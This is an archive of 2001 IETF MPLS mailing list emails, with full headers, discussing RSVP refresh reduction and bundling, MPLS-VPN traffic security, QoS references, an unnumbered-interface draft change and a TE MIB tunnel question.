	for <mpls@UU.NET>; Mon, 29 Oct 2001 05:09:24 GMT
Received: from brahma01.netbrahma.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [164.164.70.67])
	id QQlmue05977
	for <mpls@UU.NET>; Mon, 29 Oct 2001 05:09:38 GMT
Received: by mailserver.netbrahma.com with Internet Mail Service (5.5.2653.19)
	id <V5R4QZKX>; Mon, 29 Oct 2001 10:34:25 +0530
Message-ID: <13D467F625FAD511AE2A00D0B7B917D75DD293@mailserver.netbrahma.com>
From: Khuzema Pithewan <KhuzemaP@netbrahma.com>
To: "Arvind, K" <arvind@tenornetworks.com>, Ping Pan <pingpan@juniper.net>
Cc: mpls@UU.NET
Subject: RE: RFC2961 BUNDLE message
Date: Mon, 29 Oct 2001 10:34:24 +0530
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain
Sender: owner-mpls@UU.NET
Precedence: bulk

Hi,

Irrespective of whether network is MPLS enabled or not, Srefresh messages
does reduces the number of Control Messages flowing on the wire drastically.
Too many control messages is one of dis-advantage of RSVP over LDP/CR-LDP in
MPLS network. Refresh reduction solves this problem through Srefresh
messages....

Khuzema. 



> ----------
> From: 	Ping Pan[SMTP:pingpan@juniper.net]
> Sent: 	Saturday, October 27, 2001 3:32 AM
> To: 	Arvind, K
> Cc: 	'mpls@uu.net'
> Subject: 	Re: RFC2961 BUNDLE message
> 
> Arvind,
> 
> RSVP soft-state refresh has two significant scaling problems: 
> - there are too many control packets on the wire, and 
> - refresh and trigger messages look the same (so they have to be
> processed the same way). 
> 
> RFC2961 is to fix both problems. Bundling message can stuff multiple
> messages in one frame, so that a router can take care of multiple
> sessions in one shot. (This is very important in many operating systems,
> where I/O overhead is generally greater than memory copy.) So bundling
> reduces the total number of messages. With the help of Srefresh, you can
> process refresh messages differently.
> 
> In short, RFC2961 can improve the performance greatly. In MPLS networks,
> I don't see any scalability problem caused by RSVP.
> 
> - Ping
> 
> 
> "Arvind, K" wrote:
> > 
> > Does the BUNDLE message offer any real benefit in terms of reducing
> control
> > overhead? There seems to be no significant change in the overall amount
> of
> > control traffic that is generated or processed as a result of bundling
> (even
> > though the traffic is bunched together resulting in fewer (but larger)
> > messages). Does this mechanism really help in scaling RSVP?  Could
> someone
> > throw light on this? Thanks.
> > 
> > Regards,
> > Arvind.
> 


From owner-mpls@UU.NET  Mon Oct 29 06:55:55 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA08838
	for <mpls-archive@lists.ietf.org>; Mon, 29 Oct 2001 06:55:54 -0500 (EST)
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlmvf05371;
	Mon, 29 Oct 2001 11:55:40 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlmvf21250
	for mpls-outgoing; Mon, 29 Oct 2001 11:55:35 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQlmvf21245
	for <mpls@mail-control.ash.ops.us.uu.net>; Mon, 29 Oct 2001 11:55:30 GMT
Received: from cmr0.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQlmvf09220
	for <mpls@uu.net>; Mon, 29 Oct 2001 11:54:02 GMT
Received: from funnel.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: funnel.cisco.com [161.44.168.79])
	id QQlmvf13014
	for <mpls@uu.net>; Mon, 29 Oct 2001 11:54:21 GMT
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.134.50]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id GAA08362 for <mpls@uu.net>; Mon, 29 Oct 2001 06:54:01 -0500 (EST)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id GAA02270 for mpls@uu.net; Mon, 29 Oct 2001 06:54:01 -0500 (EST)
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQlmvf21120
	for <mpls@mail-control.ash.ops.us.uu.net>; Mon, 29 Oct 2001 11:53:06 GMT
Received: from cmr1.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQlmvf02010
	for <mpls@UU.NET>; Mon, 29 Oct 2001 11:52:49 GMT
Received: from cisco.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: megha.cisco.com [192.122.173.140])
	id QQlmvf00343
	for <mpls@UU.NET>; Mon, 29 Oct 2001 11:52:37 GMT
Received: from cisco.com (codc-tekxp-52.cisco.com [192.122.174.113])
	by cisco.com (8.8.8-Cisco List Logging/8.8.8) with ESMTP id QAA11059
	for <mpls@UU.NET>; Mon, 29 Oct 2001 16:56:55 +0530 (IST)
Message-ID: <3BDD3D8D.D80340C2@cisco.com>
Date: Mon, 29 Oct 2001 16:59:17 +0530
From: Shirish Indurkar <sindurka@cisco.com>
Organization: Cisco Systems Inc. 
X-Mailer: Mozilla 4.72 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
To: MPLS <mpls@UU.NET>
Subject: Doubt in MPLS-VPN ....
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Hi All,

It is said that MPLS-VPNs generally consists of a set of sites that 
are interconnected by means of MPLS provider core network and the 
Service providers backbone consists of PE routers and Provider routers.

Now that MPLS forwarding carries packets between PEs routers through the 
service provider backbone , MPLS packet must traverse through the P routers
(if any) in between these PE routers.

My question is how we can be sure that the MPLS-VPN Packet  is really Safe 
when it traverses  through the P routers ? I mean how the corporate information
is still secured when it passes through the P routers ? It is still traversing 
through the Public infrastructure unencrypted .

Any suggestion of yours would be of great help .

Thanks in advance .

Shirish.



From owner-mpls@UU.NET  Mon Oct 29 07:36:58 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA09578
	for <mpls-archive@lists.ietf.org>; Mon, 29 Oct 2001 07:36:52 -0500 (EST)
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlmvi06403;
	Mon, 29 Oct 2001 12:36:34 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlmvi13624
	for mpls-outgoing; Mon, 29 Oct 2001 12:36:29 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQlmvi13611
	for <mpls@mail-control.ash.ops.us.uu.net>; Mon, 29 Oct 2001 12:36:20 GMT
Received: from cmr2.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQlmvi23793
	for <mpls@UU.NET>; Mon, 29 Oct 2001 12:35:48 GMT
Received: from web14707.mail.yahoo.com by cmr2.ash.ops.us.uu.net with SMTP 
	(peer crosschecked as: web14707.mail.yahoo.com [216.136.224.124])
	id QQlmvi08872
	for <mpls@UU.NET>; Mon, 29 Oct 2001 12:36:07 GMT
Message-ID: <20011029123547.18041.qmail@web14707.mail.yahoo.com>
Received: from [203.200.15.20] by web14707.mail.yahoo.com via HTTP; Mon, 29 Oct 2001 04:35:47 PST
Date: Mon, 29 Oct 2001 04:35:47 -0800 (PST)
From: pradeep n <nmnpradeep@yahoo.com>
Subject: Qos In MPLS
To: mpls@UU.NET
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Sender: owner-mpls@UU.NET
Precedence: bulk

Hi *,
Where can i get the details of QOS (CoS/EXP) in MPLS.

With Regards
Pradeep

__________________________________________________
Do You Yahoo!?
Make a great connection at Yahoo! Personals.
http://personals.yahoo.com


From owner-mpls@UU.NET  Mon Oct 29 09:01:30 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA13107
	for <mpls-archive@lists.ietf.org>; Mon, 29 Oct 2001 09:01:30 -0500 (EST)
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlmvi21171;
	Mon, 29 Oct 2001 12:43:18 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlmvi13979
	for mpls-outgoing; Mon, 29 Oct 2001 12:42:40 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQlmvi13974
	for <mpls@mail-control.ash.ops.us.uu.net>; Mon, 29 Oct 2001 12:42:36 GMT
Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQlmvi21451
	for <mpls@UU.NET>; Mon, 29 Oct 2001 12:42:16 GMT
From: neil.2.harrison@bt.com
Received: from cbibipnt05.hc.bt.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: saturn.bt.com [193.113.57.20])
	id QQlmvi28712
	for <mpls@UU.NET>; Mon, 29 Oct 2001 12:42:35 GMT
Received: by cbibipnt05.hc.bt.com with Internet Mail Service (5.5.2652.35)
	id <VTLKQR5A>; Mon, 29 Oct 2001 12:42:21 -0000
Message-ID: <B9571FDEBD3DD21181E500606DD5EE050E891985@mbddmknt01.hc.bt.com>
To: sindurka@cisco.com, mpls@UU.NET
Subject: RE: Doubt in MPLS-VPN ....
Date: Mon, 29 Oct 2001 12:42:08 -0000
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2652.35)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk

Shirish Indurkar wrote 29 October 2001 11:29
> My question is how we can be sure that the MPLS-VPN Packet  
> is really Safe 
> when it traverses  through the P routers ? I mean how the 
> corporate information
> is still secured when it passes through the P routers ? It is 
> still traversing 
> through the Public infrastructure unencrypted .
NH=> One mechanism that you can consider for using is to make sure each LSP
has a unique means of identification in the data-plane.  In the MPLS OAM
work this is indeed a primary consideration wrt fault detection/handling.
We define a CV (connectivity verification) packet that is periodically sent
from the source to the sink of the LSP....its very similar to having a
'hello' function, but here its only relevant to the data-plane and decoupled
from the routing/processing of any control-plane which is present.  The CV
contains a network-wide unique identifier.  This allows all the following
faults to be automatically detected by the operator:
-	simple breaks in connectivity (either below or within the MPLS
fabric)
-	swapped LSPs
-	unintended merging of LSPs (where the offending LSP may or may not
be affected).
So if a VPN's traffic is leaking out (or being leaked into) you can detect
this by noting the occurrence of the unexpected CV flow....and you can then
take the appropriate action which is dependent on the specific defect type
(eg suppress traffic to protect customer traffic integrity) as necessary.
It should also help Ops people diagnose the problem more efficiently, and
allow operators to develop consistent QoS/availability SLAs (since these are
based on well-defined defect states).

The customer can still encrypt the traffic of course for complete
security......the above is primarily targeted at making fault-management
simpler and more efficient for the operator, though it clearly allows the
operator to offer some stronger integrity verification mechanisms and a
provides basis for SLA specification.

Note - the technique is not dependent on having any specific server
technology (under MPLS) or client technology (over MPLS).  It is also
decoupled from whatever control-plane is being used (inc none).  It
therefore has generic application, eg ATM/MPLS interworking say.


From owner-mpls@UU.NET  Mon Oct 29 09:25:08 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA14368
	for <mpls-archive@lists.ietf.org>; Mon, 29 Oct 2001 09:25:08 -0500 (EST)
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlmvp03334;
	Mon, 29 Oct 2001 14:25:29 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlmvp29990
	for mpls-outgoing; Mon, 29 Oct 2001 14:24:50 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQlmvp29985
	for <mpls@mail-control.ash.ops.us.uu.net>; Mon, 29 Oct 2001 14:24:44 GMT
Received: from cmr0.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQlmvp13704
	for <mpls@uu.net>; Mon, 29 Oct 2001 14:24:02 GMT
Received: from funnel.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: funnel.cisco.com [161.44.168.79])
	id QQlmvp19113
	for <mpls@uu.net>; Mon, 29 Oct 2001 14:24:21 GMT
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.134.50]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id JAA18573 for <mpls@uu.net>; Mon, 29 Oct 2001 09:24:01 -0500 (EST)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id JAA09361 for mpls@uu.net; Mon, 29 Oct 2001 09:24:01 -0500 (EST)
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQlmvp29881
	for <mpls@mail-control.ash.ops.us.uu.net>; Mon, 29 Oct 2001 14:23:30 GMT
Received: from cmr2.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQlmvp04686
	for <mpls@UU.NET>; Mon, 29 Oct 2001 14:23:03 GMT
Received: from cisco.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: uzura.cisco.com [64.102.17.77])
	id QQlmvp00119
	for <mpls@UU.NET>; Mon, 29 Oct 2001 14:23:23 GMT
Received: from ASIMHA-W2K.cisco.com (dhcp-64-102-48-149.cisco.com [64.102.48.149])
	by cisco.com (8.8.8/2.6/Cisco List Logging/8.8.8) with ESMTP id JAA19252;
	Mon, 29 Oct 2001 09:23:00 -0500 (EST)
Date: Mon, 29 Oct 2001 09:22:09 -0500 (Eastern Standard Time)
From: Ajay Simha <asimha@cisco.com>
To: Shirish Indurkar <sindurka@cisco.com>
cc: MPLS <mpls@UU.NET>
Subject: Re: Doubt in MPLS-VPN ....
In-Reply-To: <3BDD3D8D.D80340C2@cisco.com>
Message-ID: <Pine.WNT.4.40.0110290920110.868-100000@ASIMHA-W2K.cisco.com>
X-X-Sender: asimha@uzura.cisco.com
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-mpls@UU.NET
Precedence: bulk

On Mon, 29 Oct 2001, Shirish Indurkar wrote:

SI>Hi All,
SI>
SI>It is said that MPLS-VPNs generally consists of a set of sites that
SI>are interconnected by means of MPLS provider core network and the
SI>Service providers backbone consists of PE routers and Provider routers.
SI>
SI>Now that MPLS forwarding carries packets between PEs routers through the
SI>service provider backbone , MPLS packet must traverse through the P routers
SI>(if any) in between these PE routers.
SI>
SI>My question is how we can be sure that the MPLS-VPN Packet  is really Safe
SI>when it traverses  through the P routers ? I mean how the corporate information
SI>is still secured when it passes through the P routers ? It is still traversing
SI>through the Public infrastructure unencrypted .
SI>
SI>Any suggestion of yours would be of great help .

Is the packet "safe" when it traverses a provider network when you buy frame
relay or atm service or a leased line?

If you are still concerned in the atm/fr/leased line situation what would you
do - my guess is you'd encrypt you data from the customer end.  You can still
do this with MPLS VPNs.

-ajay

 SI>
SI>Thanks in advance .
SI>
SI>Shirish.
SI>

-- 
Ajay Simha
MPLS Deployment Engineer
IOS Technology Division
(919) 392-3141

"Study as if you were to live forever
 Live as if you were to die tomorrow"

 - Mahatma Gandhi



From owner-mpls@UU.NET  Mon Oct 29 11:32:59 2001
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA18843
	for <mpls-archive@lists.ietf.org>; Mon, 29 Oct 2001 11:32:59 -0500 (EST)
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlmvi00006;
	Mon, 29 Oct 2001 12:43:25 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlmvi13988
	for mpls-outgoing; Mon, 29 Oct 2001 12:42:50 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQlmvi13981
	for <mpls@mail-control.ash.ops.us.uu.net>; Mon, 29 Oct 2001 12:42:40 GMT
Received: from cmr1.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQlmvi22493
	for <mpls@UU.NET>; Mon, 29 Oct 2001 12:42:38 GMT
Received: from malmo.trab.se by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: malmo.trab.se [131.115.48.10])
	id QQlmvi15684
	for <mpls@UU.NET>; Mon, 29 Oct 2001 12:42:14 GMT
Received: from trab-hermes.haninge.trab.se (trab-hermes.haninge.trab.se [131.115.158.15]) by malmo.trab.se (8.10.1/TRAB-primary-2) with ESMTP id f9TCePZ18387; Mon, 29 Oct 2001 13:40:25 +0100 (MET)
Received: by trab-hermes.haninge.trab.se with Internet Mail Service (5.5.2650.21)
	id <VCLPV3ZP>; Mon, 29 Oct 2001 13:42:16 +0100
Message-ID: <778DFE9B4E3BD111A74E08002BA3DC0D048784A4@trab-hermes.haninge.trab.se>
From: Nhat Thanh Hoang <Nhat.T.Hoang@telia.se>
To: "'pradeep n'" <nmnpradeep@yahoo.com>, mpls@UU.NET
Subject: RE: Qos In MPLS
Date: Mon, 29 Oct 2001 13:42:15 +0100
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="ISO-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk

Try on the following three Internet drafts: MPLS Support of Differentiated
Services, Requirements for support of Diff-Serv-aware MPLS Traffic
Engineering and Protocol extensions for support of Diff-Serv-aware MPLS
Traffic   ...

They may answer most of you questions.
regards,

/Nhat Thanh


-----Original Message-----
From: pradeep n [mailto:nmnpradeep@yahoo.com]
Sent: den 29 oktober 2001 13:36
To: mpls@UU.NET
Subject: Qos In MPLS


Hi *,
Where can i get the details of QOS (CoS/EXP) in MPLS.

With Regards
Pradeep

__________________________________________________
Do You Yahoo!?
Make a great connection at Yahoo! Personals.
http://personals.yahoo.com


From owner-mpls@UU.NET  Mon Oct 29 11:36:50 2001
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA18986
	for <mpls-archive@lists.ietf.org>; Mon, 29 Oct 2001 11:36:50 -0500 (EST)
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlmvy04861;
	Mon, 29 Oct 2001 16:37:12 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlmvy17730
	for mpls-outgoing; Mon, 29 Oct 2001 16:36:35 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQlmvy17722
	for <mpls@mail-control.ash.ops.us.uu.net>; Mon, 29 Oct 2001 16:36:21 GMT
Received: from cmr0.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQlmvy19324
	for <mpls@uu.net>; Mon, 29 Oct 2001 16:35:52 GMT
Received: from merlot.juniper.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: natint.juniper.net [207.17.136.129])
	id QQlmvy03008
	for <mpls@uu.net>; Mon, 29 Oct 2001 16:36:11 GMT
Received: from juniper.net (garnet.juniper.net [172.17.28.17])
	by merlot.juniper.net (8.11.3/8.11.3) with ESMTP id f9TGZj091789;
	Mon, 29 Oct 2001 08:35:45 -0800 (PST)
	(envelope-from yakov@juniper.net)
Message-Id: <200110291635.f9TGZj091789@merlot.juniper.net>
To: George Swallow <swallow@cisco.com>
cc: mpls@UU.NET
Subject: Re: Simplification for UNNUM draft. 
In-Reply-To: Your message of "Tue, 23 Oct 2001 17:16:55 EDT."
             <200110232116.RAA10592@telescope.cisco.com> 
MIME-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-ID: <95396.1004373345.1@juniper.net>
Date: Mon, 29 Oct 2001 08:35:45 -0800
From: Yakov Rekhter <yakov@juniper.net>
Sender: owner-mpls@UU.NET
Precedence: bulk

George,

> draft-ietf-mpls-rsvp-unnum-02.txt allows both the normal HOP and the
> IF_ID Hop object to be used on an unnumbered link.  This leads to
> unnecessary cases and extra checking at the incoming interface.
> 
> I suggest the following modifications:
> 
> a) mandate that one always use the IF_ID HOP object on an unnumbered
>    link.
> 
> b) pop the unnumbered interface subobject off of the ERO before
>    forwarding the Path message over the unnumbered link (the
>    information is now in the PHOP

May I also suggest that we change the semantics of the Unnumbered
Interface ID subobject in the ERO from:

   The Interface ID is the outgoing interface identifier with respect to
   the LSR specified by the router ID.

to

   The Interface ID is the incoming interface identifier with respect to
   the LSR specified by the router ID.

Yakov.


From owner-mpls@UU.NET  Mon Oct 29 11:42:59 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA19184
	for <mpls-archive@lists.ietf.org>; Mon, 29 Oct 2001 11:42:59 -0500 (EST)
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlmvy11121;
	Mon, 29 Oct 2001 16:43:22 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlmvy18086
	for mpls-outgoing; Mon, 29 Oct 2001 16:42:34 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQlmvy18076
	for <mpls@mail-control.ash.ops.us.uu.net>; Mon, 29 Oct 2001 16:42:31 GMT
Received: from cmr0.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQlmvy17250
	for <mpls@uu.net>; Mon, 29 Oct 2001 16:42:02 GMT
Received: from funnel.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: funnel.cisco.com [161.44.168.79])
	id QQlmvy14593
	for <mpls@uu.net>; Mon, 29 Oct 2001 16:42:21 GMT
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.134.50]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id LAA09018 for <mpls@uu.net>; Mon, 29 Oct 2001 11:42:01 -0500 (EST)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id LAA15973 for mpls@uu.net; Mon, 29 Oct 2001 11:42:01 -0500 (EST)
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQlmvy18042
	for <mpls@mail-control.ash.ops.us.uu.net>; Mon, 29 Oct 2001 16:41:40 GMT
Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQlmvy13063
	for <mpls@uu.net>; Mon, 29 Oct 2001 16:40:20 GMT
Received: from funnel.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: funnel.cisco.com [161.44.168.79])
	id QQlmvy11528
	for <mpls@uu.net>; Mon, 29 Oct 2001 16:40:39 GMT
Received: from telescope.cisco.com (telescope.cisco.com [161.44.166.204]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id LAA08743; Mon, 29 Oct 2001 11:40:19 -0500 (EST)
Received: from localhost (swallow@localhost) by telescope.cisco.com (8.8.5-Cisco.1/CISCO.WS.1.2) with ESMTP id LAA00883; Mon, 29 Oct 2001 11:40:19 -0500 (EST)
Message-Id: <200110291640.LAA00883@telescope.cisco.com>
X-Authentication-Warning: telescope.cisco.com: swallow owned process doing -bs
To: Yakov Rekhter <yakov@juniper.net>
cc: George Swallow <swallow@cisco.com>, mpls@UU.NET, swallow@cisco.com
Subject: Re: Simplification for UNNUM draft. 
In-reply-to: Your message of "Mon, 29 Oct 2001 08:35:45 PST."
             <200110291635.f9TGZj091789@merlot.juniper.net> 
Date: Mon, 29 Oct 2001 11:40:19 -0500
From: George Swallow <swallow@cisco.com>
Sender: owner-mpls@UU.NET
Precedence: bulk

That would be fine.  In fact in that case, the upstream router would
not have to pop off the subobject, since the next node would receive a
an ero which has a valid first object.

...George

==================================================================
George Swallow       Cisco Systems                   (978) 244-8143
                     250 Apollo Drive
                     Chelmsford, Ma 01824



From owner-mpls@UU.NET  Mon Oct 29 11:48:39 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA19389
	for <mpls-archive@lists.ietf.org>; Mon, 29 Oct 2001 11:48:38 -0500 (EST)
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlmvz19819;
	Mon, 29 Oct 2001 16:48:58 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlmvz18739
	for mpls-outgoing; Mon, 29 Oct 2001 16:47:59 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQlmvz18726
	for <mpls@mail-control.ash.ops.us.uu.net>; Mon, 29 Oct 2001 16:47:52 GMT
Received: from cmr1.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQlmvz00652
	for <mpls@uu.net>; Mon, 29 Oct 2001 16:46:26 GMT
Received: from mailgate.pit.comms.marconi.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mailgate.pit.comms.marconi.com [169.144.68.6])
	id QQlmvz26163
	for <mpls@uu.net>; Mon, 29 Oct 2001 16:46:15 GMT
Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com [169.144.2.12])
	by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id LAA08686
	for <mpls@uu.net>; Mon, 29 Oct 2001 11:46:22 -0500 (EST)
Received: from whq-msgrtr-01.pit.comms.marconi.com (whq-msgrtr-01.pit.comms.marconi.com [169.144.2.221])
	by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id LAA03588
	for <mpls@uu.net>; Mon, 29 Oct 2001 11:46:23 -0500 (EST)
Received: by whq-msgrtr-01.pit.comms.marconi.com with Internet Mail Service (5.5.2650.21)
	id <VJHLHQZ4>; Mon, 29 Oct 2001 11:46:21 -0500
Message-ID: <313680C9A886D511A06000204840E1CF4B84C9@whq-msgusr-02.pit.comms.marconi.com>
From: "Dominic-Savio, Patrick" <Patrick.Dominic-Savio@marconi.com>
To: "'mpls@uu.net'" <mpls@UU.NET>
Subject: Question on tunnel Interface (w.r.t TE MIB)
Date: Mon, 29 Oct 2001 11:46:15 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk

Here is my question:
When you create a tunnel at the head-end, you can set the mplsTunnelIsIf
variable to TRUE and this specifies that an interface will be created over
the tunnel at the head-end. What is the procedure for identifying at the
tail-end that this tunnel is to be used as an interface (for the purpose of
receiving packets coming from the head-end)?.
Should a tail-end manual entry be made in the TE table ahead of time with
the mplsTunnelIsIf value set to TRUE?. If so, it does not seem like there is
a (documented) way to uniquely identify an incoming signalling message (for
tunnel termination) using the tail-end TE MIB specification. In other words
how do I match a user created tail-end configuration with (say) a RSVP
session that is terminating on this tail-end LSR.

Thanks

---------------------------------------------------------
